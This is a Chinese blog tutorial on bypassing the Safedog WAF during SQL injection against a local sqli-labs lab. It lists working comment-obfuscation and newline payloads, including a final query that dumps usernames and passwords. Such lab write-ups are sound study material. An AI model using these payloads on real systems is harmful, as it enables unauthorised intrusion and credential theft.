首页 > 数据库 >SQL注入之waf绕过

SQL注入之waf绕过

时间:2024-07-22 23:18:28浏览次数:10  
标签:union waf -- concat --+ SQL 绕过 id select

SQL注入之waf绕过(safedog)

本地部署apache和safedog后,对sqllab的一个实验

payload:?id=1' and 1=1--+,发现被拦截了,但是不知道拦截的关键词是什么

image-20240722155648577

这里把1=1删了试试

image-20240722160042611

发现有报错,再加上1=1但是不加空格试试。报错了,这里可能是识别到and后紧跟空格和字符的模式,并把它过滤掉了

image-20240722160132218

payload:?id=1 and/**/1=1--+

使用bp进行抓包后,右键发送至intruder。在图示位置添加注入点,配置为爆破模式,使用的字符串为/*! 长度为4

image-20240722161618858

image-20240722161829864

为什么用/*!这三个符号呢?原因如下

image-20240722224512495

找长度不一样的爆破结果,发现已经成功绕过了

image-20240722161916567

接下来尝试联合查询,payload:?id=1' union select 1,2,3--+,发现被拦截了。单独用union、select;用unionselect试试会不会被拦截

image-20240722162303940

union

image-20240722162424538

select

image-20240722162453117

unionselect

image-20240722162513132

可以发现unionselect被拦截了,用之前的方法,构造一个payload:union/**/select 1,2,3

爆破找到可以绕过的语句,这里发现最大长度为4时找不到需要的语句,改成6可以找到

image-20240722162850614

加入database()对数据库进行查询

image-20240722223528274

把括号去掉就没被拦截了

image-20240722223610793

继续用bp爆破实现绕过database/**/()

image-20240722224556140

接下来测试一下group_concat() from语句,尝试查出表名,发现并没有被拦截。用完整语句group_concat(table_name) from information_schema.tables时,被拦截了

image-20240722163512016

这里用一个很神奇的payload

?id=1' union/*/!**!/*/select 1,2,group_concat(table_name) from/*!-- /*%0ainformation_schema.tables*/ --+
在mysql数据库中,一些特有的仅在mysql上用的语句会被放在/*!....*/中执行,%0a是换行符的url编码。
这个payload中,waf认为information_schema.tables被一对/*给注释掉了。
而--的作用是将--以后的代码注释掉,这里--本应该把其后所有东西注释掉,但是由于%0a进行了一个换行,所以这里的--仅将%0a前的/*给注释掉了。而最末尾的*/与前面的/*!形成了闭合,最终能够正常执行sql语句

成功绕过了waf,接下来加入一个where语句,完成表的查询

image-20240722221535340

输入一个where发现被拦截了,继续执行之前的bp爆破操作,当然也可以继续用上面的方法

image-20240722221858719

?id=1' union/*/!**!/*/select 1,2,group_concat(table_name) from/*!-- /*%0ainformation_schema.tables*//**/where--+
往where前的/**/插入一个注入点,进行爆破

任取一个,再加上table_schema='security'查出数据

image-20240722222414015

怎么查出来两个Dumb?原来是?id=1,改为?id=-1就查出表名了

image-20240722222511694

image-20240722222716629

接下来查询列名

?id=-1' union/*/!**!/*/select 1,2,group_concat(column_name) from/*!-- /*%0ainformation_schema.columns*//*////*/where table_name='users'--+

image-20240722225611241

从表中提取数据

?id=-1' union/*/!**!/*/select 1,2,group_concat(concat_ws('~',username,password)) from/*////*/users--+

image-20240722230312979

注意,本文仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。

标签:union,waf,--,concat,--+,SQL,绕过,id,select
From: https://www.cnblogs.com/csmaster/p/18317224

相关文章

  • SQL251 使用含有关键字exists查找未分配具体部门的员工的所有信息。
    SQL251使用含有关键字exists查找未分配具体部门的员工的所有信息。描述使用含有关键字exists查找未分配具体部门的员工的所有信息。CREATETABLE`employees`(`emp_no`int(11)NOTNULL,`birth_date`dateNOTNULL,`first_name`varchar(14)NOTNULL,`last_name`varc......
  • SQL249 分页查询employees表,每5行一页,返回第2页的数据
    SQL249分页查询employees表,每5行一页,返回第2页的数据描述分页查询employees表,每5行一页,返回第2页的数据CREATETABLE`employees`(`emp_no`int(11)NOTNULL,`birth_date`dateNOTNULL,`first_name`varchar(14)NOTNULL,`last_name`varchar(16)NOTNULL,`gender`......
  • SQL248 平均工资
    SQL248平均工资问题查找排除在职(to_date='9999-01-01')员工的最大、最小salary之后,其他的在职员工的平均工资avg_salary。CREATETABLE`salaries`(`emp_no`int(11)NOTNULL,`salary`int(11)NOTNULL,`from_date`dateNOTNULL,`to_date`dateNOTNULL,PRIMAR......
  • SQL247 按照dept_no进行汇总
    SQL247按照dept_no进行汇总按照dept_no进行汇总,属于同一个部门的emp_no按照逗号进行连接,结果给出dept_no以及连接出的结果employeesCREATETABLE`dept_emp`(`emp_no`int(11)NOTNULL,`dept_no`char(4)NOTNULL,`from_date`dateNOTNULL,`to_date`dateNOTNULL,P......
  • 新做了一个MySQL 数据库 DDL 差异对比的网站
    MySQL数据库DDL差异对比的网站摘要新做了个网站,用来对比不同环境下的DDL差异,生成变更点和迁移DDL网站地址:https://ddlcompare.com/对比过程中如果有问题,可以通过邮箱联系我[email protected],下班后我会密集的修一波bug后端Asp.NetCore8前端Angular网站托......
  • SQL ------约束
    约束·概述1.概念:约束是作用于表中字段上的规则,拥有限制储存在表中的数据2.目的:保证数据库中数据的正确性、有效性和完整性3.分类![](https://img2024.cnblogs.com/blog/3480856/202407/3480856-20240722202320072-1596752753.png)注意:约束是作用于......
  • MySQL Architecture And Engine
    Author:ACatSmilingSince:2024-07-22SELECT的执行过程SELECT的查询结构方式一:SELECT...,...,...FROM...,...,...WHERE多表的连接条件AND不包含组函数的过滤条件GROUPBY...,...HAVING包含组函数的过滤条件ORDERBY...ASC/DESCLIMIT...,...;方式二......
  • SQL-------事务
    事务·事务简介·事务操作·事务四大特性·并发事务问题·事务隔离级别事务简介:事务是一组操作的集合,它是一个不可分割的工作单位,事务会把所有的操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失效。事务操作:sql语句......
  • SQL异常的邮件概率
    系列文章目录文章目录系列文章目录前言前言前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。描述现在有一个需求,让你统计正常用户发送给正常用户邮件失败的概率:有......
  • SQL 找到每个人的任务
    系列文章目录文章目录系列文章目录前言前言前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。描述有一个person表,主键是id,如下:有一个任务(task)表如下,主键也是id,如......